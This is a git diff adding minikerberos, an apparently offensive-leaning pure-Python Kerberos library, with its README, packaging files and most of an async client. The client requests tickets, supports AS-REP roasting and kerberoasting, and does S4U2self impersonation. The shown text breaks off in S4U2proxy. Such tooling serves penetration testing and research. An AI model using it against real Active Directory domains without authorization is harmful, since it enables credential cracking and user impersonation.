diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..ab60297
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2018 
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/MANIFEST.in b/MANIFEST.in
new file mode 100644
index 0000000..c1a7121
--- /dev/null
+++ b/MANIFEST.in
@@ -0,0 +1,2 @@
+include LICENSE
+include README.md
diff --git a/PKG-INFO b/PKG-INFO
new file mode 100644
index 0000000..9a0e9f2
--- /dev/null
+++ b/PKG-INFO
@@ -0,0 +1,14 @@
+Metadata-Version: 1.2
+Name: minikerberos
+Version: 0.2.10
+Summary: Kerberos manipulation library in pure Python
+Home-page: https://github.com/skelsec/minikerberos
+Author: Tamas Jos
+Author-email: info@skelsec.com
+License: UNKNOWN
+Description: UNKNOWN
+Platform: UNKNOWN
+Classifier: Programming Language :: Python :: 3.6
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.6
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..e79ae0f
--- /dev/null
+++ b/README.md
@@ -0,0 +1,58 @@
+# minikerberos
+
+Kerberos manipulation library in pure Python.
+
+# WARNING
+The library underwent some considerable restructuring from 0.1.X to 0.2.X and above.
+These changes will 100% likely to break your existing code, so either fix the version in your requirements or update your scripts.  
+  
+Sorry for the inconveinence, however I deemed it important to make these changes for a better API and usability. From version 0.2.0 and above the code will more focusing on asynchronous operation. Backport of additional features will happen to the blocking IO based classes, but expect some delays.
+
+
+## Prerequisites
+
+- Python >= 3.6  
+- `asn1crypto`: the best Python lib to parse/modify/construct ASN1 data. It is
+  also written in pure Python, so no need to compile anything, just install
+  and use.
+
+## Usage
+This is a library so the main intention is to use it in your code, however
+the "examples" folder contain a few useful examples to show what this lib is
+capable of.  
+
+- `ccache2kirbi.py` converts CCACHE - kerberos cache - file to kirbi files.
+   Kirbi file is supported by mimikatz to perform pass the ticket attacks.  
+  
+- `kirbi2ccache.py` converts a kirbi file, or a directory full of kirbi files
+  into one CCACHE file. This helps users who prefer to use impacket to perform
+  Kerberos ticket related attacks  
+  
+- `getTGT.py` polls a Kerberos server for a TGT given that you have some user
+  secrets at your disposal. The TGT will be saved in a CCACHE file. The minimum
+  required "user secret" is either a password OR and NT hash of the user OR
+  the Kerberos AES key of the user.
+  
+- `getTGS.py` same as `getTGT.py` but also gets a TGS ticket for a given
+  service from the domain controller.
+
+- `getS4U2proxy.py` to be used for getting a TGS ticket on behalf of another user. Basically it performs a kerberos constrained delegation process.
+
+  
+## Installation
+
+Install it via either cloning it from GitHub and using  
+
+```bash
+$ git clone https://github.com/skelsec/minikerberos.git
+$ cd minikerberos
+$ python3 setup.py install
+```  
+  
+or with `pip` from the Python Package Index (PyPI).
+  
+```bash
+$ pip install minikerberos --user
+```
+
+Consider to use a Python virtual environment.
diff --git a/minikerberos.egg-info/PKG-INFO b/minikerberos.egg-info/PKG-INFO
new file mode 100644
index 0000000..9a0e9f2
--- /dev/null
+++ b/minikerberos.egg-info/PKG-INFO
@@ -0,0 +1,14 @@
+Metadata-Version: 1.2
+Name: minikerberos
+Version: 0.2.10
+Summary: Kerberos manipulation library in pure Python
+Home-page: https://github.com/skelsec/minikerberos
+Author: Tamas Jos
+Author-email: info@skelsec.com
+License: UNKNOWN
+Description: UNKNOWN
+Platform: UNKNOWN
+Classifier: Programming Language :: Python :: 3.6
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.6
diff --git a/minikerberos.egg-info/SOURCES.txt b/minikerberos.egg-info/SOURCES.txt
new file mode 100644
index 0000000..44aeb1b
--- /dev/null
+++ b/minikerberos.egg-info/SOURCES.txt
@@ -0,0 +1,65 @@
+LICENSE
+MANIFEST.in
+README.md
+setup.py
+minikerberos/__init__.py
+minikerberos/_version.py
+minikerberos/aioclient.py
+minikerberos/client.py
+minikerberos/security.py
+minikerberos.egg-info/PKG-INFO
+minikerberos.egg-info/SOURCES.txt
+minikerberos.egg-info/dependency_links.txt
+minikerberos.egg-info/entry_points.txt
+minikerberos.egg-info/requires.txt
+minikerberos.egg-info/top_level.txt
+minikerberos.egg-info/zip-safe
+minikerberos/common/__init__.py
+minikerberos/common/ccache.py
+minikerberos/common/constants.py
+minikerberos/common/creds.py
+minikerberos/common/keytab.py
+minikerberos/common/proxy.py
+minikerberos/common/spn.py
+minikerberos/common/target.py
+minikerberos/common/url.py
+minikerberos/common/utils.py
+minikerberos/crypto/BASE.py
+minikerberos/crypto/MD4.py
+minikerberos/crypto/RC4.py
+minikerberos/crypto/__init__.py
+minikerberos/crypto/hashing.py
+minikerberos/crypto/AES/AES.py
+minikerberos/crypto/AES/__init__.py
+minikerberos/crypto/AES/blockfeeder.py
+minikerberos/crypto/AES/util.py
+minikerberos/crypto/DES/DES.py
+minikerberos/crypto/DES/__init__.py
+minikerberos/crypto/PBKDF2/__init__.py
+minikerberos/crypto/PBKDF2/pbkdf2.py
+minikerberos/crypto/RC4/RC4.py
+minikerberos/crypto/RC4/__init__.py
+minikerberos/examples/__init__.py
+minikerberos/examples/__main__.py
+minikerberos/examples/ccache2kirbi.py
+minikerberos/examples/ccache_editor.py
+minikerberos/examples/ccacheroast.py
+minikerberos/examples/getS4U2proxy.py
+minikerberos/examples/getTGS.py
+minikerberos/examples/getTGT.py
+minikerberos/examples/kirbi2ccache.py
+minikerberos/gssapi/__init__.py
+minikerberos/gssapi/channelbindings.py
+minikerberos/gssapi/gssapi.py
+minikerberos/network/__init__.py
+minikerberos/network/aioclientsocket.py
+minikerberos/network/aioclientsockssocket.py
+minikerberos/network/aioclientwsnetsocket.py
+minikerberos/network/clientsocket.py
+minikerberos/network/selector.py
+minikerberos/protocol/__init__.py
+minikerberos/protocol/asn1_structs.py
+minikerberos/protocol/constants.py
+minikerberos/protocol/encryption.py
+minikerberos/protocol/errors.py
+minikerberos/protocol/structures.py
\ No newline at end of file
diff --git a/minikerberos.egg-info/dependency_links.txt b/minikerberos.egg-info/dependency_links.txt
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/minikerberos.egg-info/dependency_links.txt
@@ -0,0 +1 @@
+
diff --git a/minikerberos.egg-info/entry_points.txt b/minikerberos.egg-info/entry_points.txt
new file mode 100644
index 0000000..25dbf97
--- /dev/null
+++ b/minikerberos.egg-info/entry_points.txt
@@ -0,0 +1,9 @@
+[console_scripts]
+ccache2kirbi = minikerberos.examples.ccache2kirbi:main
+ccacheedit = minikerberos.examples.ccache_editor:main
+ccacheroast = minikerberos.examples.ccacheroast:main
+getS4U2proxy = minikerberos.examples.getS4U2proxy:main
+getTGS = minikerberos.examples.getTGS:main
+getTGT = minikerberos.examples.getTGT:main
+kirbi2ccache = minikerberos.examples.kirbi2ccache:main
+
diff --git a/minikerberos.egg-info/requires.txt b/minikerberos.egg-info/requires.txt
new file mode 100644
index 0000000..05c4cd8
--- /dev/null
+++ b/minikerberos.egg-info/requires.txt
@@ -0,0 +1,2 @@
+asn1crypto>=1.3.0
+asysocks>=0.0.11
diff --git a/minikerberos.egg-info/top_level.txt b/minikerberos.egg-info/top_level.txt
new file mode 100644
index 0000000..abe0dd7
--- /dev/null
+++ b/minikerberos.egg-info/top_level.txt
@@ -0,0 +1 @@
+minikerberos
diff --git a/minikerberos.egg-info/zip-safe b/minikerberos.egg-info/zip-safe
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/minikerberos.egg-info/zip-safe
@@ -0,0 +1 @@
+
diff --git a/minikerberos/__init__.py b/minikerberos/__init__.py
new file mode 100644
index 0000000..481e6a6
--- /dev/null
+++ b/minikerberos/__init__.py
@@ -0,0 +1,10 @@
+
+import logging
+
+logger = logging.getLogger(__name__)
+handler = logging.StreamHandler()
+formatter = logging.Formatter(
+        '%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
+handler.setFormatter(formatter)
+logger.addHandler(handler)
+logger.setLevel(logging.INFO)
diff --git a/minikerberos/_version.py b/minikerberos/_version.py
new file mode 100644
index 0000000..187d460
--- /dev/null
+++ b/minikerberos/_version.py
@@ -0,0 +1,7 @@
+
+__version__ = "0.2.10"
+__banner__ = \
+"""
+# minikerberos %s 
+# Author: Tamas Jos @skelsec (skelsecprojects@gmail.com)
+""" % __version__
\ No newline at end of file
diff --git a/minikerberos/aioclient.py b/minikerberos/aioclient.py
new file mode 100644
index 0000000..00b04a3
--- /dev/null
+++ b/minikerberos/aioclient.py
@@ -0,0 +1,593 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+
+import asyncio
+import collections
+import datetime
+import secrets
+
+from minikerberos import logger
+from minikerberos.common.ccache import CCACHE
+from minikerberos.network.aioclientsocket import AIOKerberosClientSocket
+from minikerberos.protocol.asn1_structs import METHOD_DATA, ETYPE_INFO, ETYPE_INFO2, \
+	PADATA_TYPE, PA_PAC_REQUEST, PA_ENC_TS_ENC, EncryptedData, krb5_pvno, KDC_REQ_BODY, \
+	AS_REQ, TGS_REP, KDCOptions, PrincipalName, EncASRepPart, EncTGSRepPart, PrincipalName, Realm, \
+	Checksum, APOptions, Authenticator, Ticket, AP_REQ, TGS_REQ, CKSUMTYPE, \
+	PA_FOR_USER_ENC, PA_PAC_OPTIONS, PA_PAC_OPTIONSTypes
+
+from minikerberos.protocol.errors import KerberosErrorCode, KerberosError
+from minikerberos.protocol.encryption import Key, _enctype_table, _HMACMD5
+from minikerberos.protocol.constants import PaDataType, EncryptionType, NAME_TYPE, MESSAGE_TYPE
+from minikerberos.protocol.structures import AuthenticatorChecksum
+from minikerberos.gssapi.gssapi import GSSAPIFlags
+from minikerberos.network.selector import KerberosClientSocketSelector
+
+class AIOKerberosClient:
+	def __init__(self, ccred, target):
+		self.usercreds = ccred
+		self.target = target
+		self.ksoc = KerberosClientSocketSelector.select(self.target, True)
+		self.ccache = CCACHE() if self.usercreds.ccache is None else self.usercreds.ccache
+		self.kerberos_session_key = None
+		self.kerberos_TGT = None
+		self.kerberos_TGT_encpart = None
+		self.kerberos_TGS = None
+		self.kerberos_cipher = None
+		self.kerberos_cipher_type = None
+		self.kerberos_key = None
+		self.server_salt = None
+
+	@staticmethod
+	def from_tgt(target, tgt, key):
+		"""
+		Sets up the kerberos object from tgt and the session key.
+		Use this function when pulling the TGT from ccache file.
+		"""
+		kc = AIOKerberosClient(None, target)
+		kc.kerberos_TGT = tgt
+		
+		kc.kerberos_cipher_type = key['keytype']
+		kc.kerberos_session_key = Key(kc.kerberos_cipher_type, key['keyvalue']) 
+		kc.kerberos_cipher = _enctype_table[kc.kerberos_cipher_type]
+		return kc
+
+	async def do_preauth(self, rep):
+		#now getting server's supported encryption methods
+		
+		supp_enc_methods = collections.OrderedDict()
+		for enc_method in METHOD_DATA.load(rep['e-data']).native:					
+			data_type = PaDataType(enc_method['padata-type'])
+			
+			if data_type == PaDataType.ETYPE_INFO or data_type == PaDataType.ETYPE_INFO2:
+				if data_type == PaDataType.ETYPE_INFO:
+					enc_info_list = ETYPE_INFO.load(enc_method['padata-value'])
+					
+				elif data_type == PaDataType.ETYPE_INFO2:
+					enc_info_list = ETYPE_INFO2.load(enc_method['padata-value'])
+		
+				for enc_info in enc_info_list.native:
+					supp_enc_methods[EncryptionType(enc_info['etype'])] = enc_info['salt']
+					logger.debug('Server supports encryption type %s with salt %s' % (EncryptionType(enc_info['etype']).name, enc_info['salt']))
+		
+		logger.debug('Constructing TGT request with auth data')
+		#now to create an AS_REQ with encrypted timestamp for authentication
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))
+		pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()
+		
+		now = datetime.datetime.now(datetime.timezone.utc)
+		#creating timestamp asn1
+		timestamp = PA_ENC_TS_ENC({'patimestamp': now.replace(microsecond=0), 'pausec': now.microsecond}).dump()
+		
+		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
+		logger.debug('Selecting common encryption type: %s' % supp_enc.name)
+		self.kerberos_cipher = _enctype_table[supp_enc.value]
+		self.kerberos_cipher_type = supp_enc.value
+		if 'salt' in enc_info and enc_info['salt'] is not None:
+			self.server_salt = enc_info['salt'].encode() 
+		self.kerberos_key = Key(self.kerberos_cipher.enctype, self.usercreds.get_key_for_enctype(supp_enc, salt = self.server_salt))
+		enc_timestamp = self.kerberos_cipher.encrypt(self.kerberos_key, 1, timestamp, None)
+		
+		
+		pa_data_2 = {}
+		pa_data_2['padata-type'] = int(PADATA_TYPE('ENC-TIMESTAMP'))
+		pa_data_2['padata-value'] = EncryptedData({'etype': supp_enc.value, 'cipher': enc_timestamp}).dump()
+		
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))
+		kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.usercreds.username]})
+		kdc_req_body['realm'] = self.usercreds.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.usercreds.domain.upper()]})
+		kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		kdc_req_body['etype'] = [supp_enc.value] #selecting according to server's preferences
+		
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value
+		kdc_req['padata'] = [pa_data_2,pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+		
+		req = AS_REQ(kdc_req)
+		
+		logger.debug('Sending TGT request to server')
+		rep = await self.ksoc.sendrecv(req.dump())
+		if rep.name == 'KRB_ERROR':
+			raise KerberosError(rep, 'Preauth failed!')
+		return rep
+
+	def tgt_from_ccache(self, override_etype = None):
+		try:
+			if self.ccache is None:
+				raise Exception('No CCACHE file found')
+			
+			our_user = str(self.usercreds.username) + '@' + self.usercreds.domain
+			for tgt, keystruct in self.ccache.get_all_tgt():
+				ticket_for = tgt['cname']['name-string'][0] + '@' + tgt['crealm']
+				if ticket_for.upper() == our_user.upper():
+					logger.debug('Found TGT for user %s' % our_user)
+					self.kerberos_TGT = tgt
+					self.kerberos_TGT_encpart = tgt['enc-part']
+					self.kerberos_session_key = Key(keystruct['keytype'], keystruct['keyvalue'])
+					self.kerberos_cipher = _enctype_table[keystruct['keytype']]
+					self.kerberos_cipher_type = keystruct['keytype']
+
+
+					return True, None
+			
+			logger.debug('No TGT found for user %s' % our_user)
+			raise Exception('No TGT found for user %s' % our_user) 
+
+		except Exception as e:
+			return None, e
+
+
+	async def get_TGT(self, override_etype = None, decrypt_tgt = True):
+		"""
+		decrypt_tgt: used for asreproast attacks
+		Steps performed:
+			1. Send and empty (no encrypted timestamp) AS_REQ with all the encryption types we support
+			2. Depending on the response (either error or AS_REP with TGT) we either send another AS_REQ with the encrypted data or return the TGT (or fail miserably)
+			3. PROFIT
+		"""
+
+		#first, let's check if CCACHE has the correct ticket already
+		_, err = self.tgt_from_ccache(override_etype)
+		if err is None:
+			return
+
+		logger.debug('Generating initial TGT without authentication data')
+		now = datetime.datetime.now(datetime.timezone.utc)
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))
+		kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.usercreds.username]})
+		kdc_req_body['realm'] = self.usercreds.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.usercreds.domain.upper()]})
+		kdc_req_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		if override_etype is None:
+			kdc_req_body['etype'] = self.usercreds.get_supported_enctypes()
+		else:
+			kdc_req_body['etype'] = override_etype
+
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))
+		pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()
+		
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value
+		kdc_req['padata'] = [pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+		
+		req = AS_REQ(kdc_req)	
+		
+		logger.debug('Sending initial TGT to %s' % self.ksoc.get_addr_str())
+		rep = await self.ksoc.sendrecv(req.dump())
+				
+		if rep.name != 'KRB_ERROR':
+			#user can do kerberos auth without preauthentication!
+			self.kerberos_TGT = rep.native
+
+			#if we want to roast the asrep (tgt rep) part then we dont even have the proper keys to decrypt
+			#so we just return, the asrep can be extracted from this object anyhow
+			if decrypt_tgt == False:
+				return
+
+			self.kerberos_cipher = _enctype_table[23]
+			self.kerberos_cipher_type = 23
+			self.kerberos_key = Key(self.kerberos_cipher.enctype, self.usercreds.get_key_for_enctype(EncryptionType.ARCFOUR_HMAC_MD5))
+			
+		else:
+			if rep.native['error-code'] != KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED.value:
+				raise KerberosError(rep)
+			rep = rep.native
+			logger.debug('Got reply from server, asikg to provide auth data')
+			
+			rep = await self.do_preauth(rep)
+			logger.debug('Got valid TGT response from server')
+			rep = rep.native
+			self.kerberos_TGT = rep
+
+
+		cipherText = rep['enc-part']['cipher']
+		temp = self.kerberos_cipher.decrypt(self.kerberos_key, 3, cipherText)
+		try:
+			self.kerberos_TGT_encpart = EncASRepPart.load(temp).native
+		except Exception as e:
+			logger.debug('EncAsRepPart load failed, is this linux?')
+			try:
+				self.kerberos_TGT_encpart = EncTGSRepPart.load(temp).native
+			except Exception as e:
+				logger.error('Failed to load decrypted part of the reply!')
+				raise e
+				
+		self.kerberos_session_key = Key(self.kerberos_cipher.enctype, self.kerberos_TGT_encpart['key']['keyvalue'])
+		self.ccache.add_tgt(self.kerberos_TGT, self.kerberos_TGT_encpart, override_pp = True)
+		logger.debug('Got valid TGT')
+		
+		return 
+
+	def tgs_from_ccache(self, spn_user, override_etype):
+		try:
+			if self.ccache is None:
+				raise Exception('No CCACHE file found')
+			
+			for tgs, keystruct in self.ccache.get_all_tgs():
+				ticket_for = ('/'.join(tgs['ticket']['sname']['name-string'])) + '@' + tgs['ticket']['realm']
+				
+				if ticket_for.upper() == str(spn_user).upper():
+					logger.debug('Found TGS for user %s' % ticket_for)
+					key = Key(keystruct['keytype'], keystruct['keyvalue'])
+					tgs = TGS_REP(tgs).native
+					return tgs, tgs['enc-part'], key, None
+
+			logger.debug('No TGS found for user %s' % ticket_for)
+			raise Exception('No TGS found for user %s' % ticket_for) 
+
+			
+		except Exception as e:
+			return None, None, None, e
+
+	async def get_TGS(self, spn_user, override_etype = None, is_linux = False):
+		"""
+		Requests a TGS ticket for the specified user.
+		Retruns the TGS ticket, end the decrpyted encTGSRepPart.
+
+		spn_user: KerberosTarget: the service user you want to get TGS for.
+		override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket 
+		"""
+		
+		#first, let's check if CCACHE has the correct ticket already
+		tgs, encTGSRepPart, key, err = self.tgs_from_ccache(spn_user, override_etype)
+		if err is None:
+			return tgs, encTGSRepPart, key
+
+		
+		#nope, we need to contact the server
+		logger.debug('Constructing TGS request for user %s' % spn_user.get_formatted_pname())
+		now = datetime.datetime.now(datetime.timezone.utc)
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','renewable_ok', 'canonicalize']))
+		kdc_req_body['realm'] = spn_user.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()})
+		kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		if override_etype:
+			kdc_req_body['etype'] = override_etype
+		else:
+			kdc_req_body['etype'] = [self.kerberos_cipher_type]
+
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		
+		if is_linux:
+			ac = AuthenticatorChecksum()
+			ac.flags = 0
+			ac.channel_binding = b'\x00'*16
+			
+			chksum = {}
+			chksum['cksumtype'] = 0x8003
+			chksum['checksum'] = ac.to_bytes()
+
+
+			authenticator_data['cksum'] = Checksum(chksum)
+			authenticator_data['seq-number'] = 0
+		
+		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ap-options'] = APOptions(set())
+		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+		
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = PaDataType.TGS_REQ.value
+		pa_data_1['padata-value'] = AP_REQ(ap_req).dump()
+		
+		
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
+		kdc_req['padata'] = [pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+		
+		req = TGS_REQ(kdc_req)
+		logger.debug('Constructing TGS request to server')
+		rep = await self.ksoc.sendrecv(req.dump())
+		if rep.name == 'KRB_ERROR':
+			raise KerberosError(rep, 'get_TGS failed!')
+		logger.debug('Got TGS reply, decrypting...')
+		tgs = rep.native
+		
+		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
+		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+		
+		self.ccache.add_tgs(tgs, encTGSRepPart)
+		logger.debug('Got valid TGS reply')
+		self.kerberos_TGS = tgs
+		return tgs, encTGSRepPart, key
+	
+	#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/6a8dfc0c-2d32-478a-929f-5f9b1b18a169
+	async def S4U2self(self, user_to_impersonate, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
+	#def S4U2self(self, user_to_impersonate, spn_user, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
+		"""
+		user_to_impersonate : KerberosTarget class
+		"""
+		
+		if not self.kerberos_TGT:
+			logger.debug('[S4U2self] TGT is not available! Fetching TGT...')
+			self.get_TGT()
+		
+		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
+		auth_package_name = 'Kerberos'
+		now = datetime.datetime.now(datetime.timezone.utc)
+		
+		
+		###### Calculating authenticator data
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		
+		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ap-options'] = APOptions(set())
+		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+		
+		pa_data_auth = {}
+		pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value
+		pa_data_auth['padata-value'] = AP_REQ(ap_req).dump()
+		
+		###### Calculating checksum data
+		
+		S4UByteArray = NAME_TYPE.PRINCIPAL.value.to_bytes(4, 'little', signed = False)
+		S4UByteArray += user_to_impersonate.username.encode()
+		S4UByteArray += user_to_impersonate.domain.encode()
+		S4UByteArray += auth_package_name.encode()
+		logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray.hex())
+		logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray)
+		
+		chksum_data = _HMACMD5.checksum(self.kerberos_session_key, 17, S4UByteArray)
+		logger.debug('[S4U2self] chksum_data: %s' % chksum_data.hex())
+		
+		
+		chksum = {}
+		chksum['cksumtype'] = int(CKSUMTYPE('HMAC_MD5'))
+		chksum['checksum'] = chksum_data
+
+		
+		###### Filling out PA-FOR-USER data for impersonation
+		pa_for_user_enc = {}
+		pa_for_user_enc['userName'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()})
+		pa_for_user_enc['userRealm'] = user_to_impersonate.domain
+		pa_for_user_enc['cksum'] = Checksum(chksum)
+		pa_for_user_enc['auth-package'] = auth_package_name
+		
+		pa_for_user = {}
+		pa_for_user['padata-type'] = int(PADATA_TYPE('PA-FOR-USER'))
+		pa_for_user['padata-value'] = PA_FOR_USER_ENC(pa_for_user_enc).dump()
+	
+		###### Constructing body
+		
+		krb_tgs_body = {}
+		krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','canonicalize']))
+		krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.UNKNOWN.value, 'name-string': [self.usercreds.username]})
+		krb_tgs_body['realm'] = self.usercreds.domain.upper()
+		krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		krb_tgs_body['nonce'] = secrets.randbits(31)
+		krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences
+		
+		
+		krb_tgs_req = {}
+		krb_tgs_req['pvno'] = krb5_pvno
+		krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
+		krb_tgs_req['padata'] = [pa_data_auth, pa_for_user]
+		krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)
+		
+		req = TGS_REQ(krb_tgs_req)
+		
+		logger.debug('[S4U2self] Sending request to server')
+		
+		reply = await self.ksoc.sendrecv(req.dump())
+		if reply.name == 'KRB_ERROR':
+			emsg = 'S4U2self failed!'
+			if reply.native['error-code'] == 16:
+				emsg = 'S4U2self: Failed to get S4U2self! Error code (16) indicates that delegation is not enabled for this account!'			
+			raise KerberosError(reply, emsg)
+		
+		logger.debug('[S4U2self] Got reply, decrypting...')
+		tgs = reply.native
+		
+		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
+		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+		
+		self.ccache.add_tgs(tgs, encTGSRepPart)
+		logger.debug('[S4U2self] Got valid TGS reply')
+		self.kerberos_TGS = tgs
+		return tgs, encTGSRepPart, key
+		
+	# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c920c148-8a9c-42e9-b8e9-db5755cd281b
+	async def S4U2proxy(self, s4uself_ticket, spn_user, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
+		logger.debug('[S4U2proxy] Impersonating %s' % '/'.join(spn_user.get_principalname()))
+		now = datetime.datetime.now(datetime.timezone.utc)
+		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
+		
+		pa_pac_opts = {}
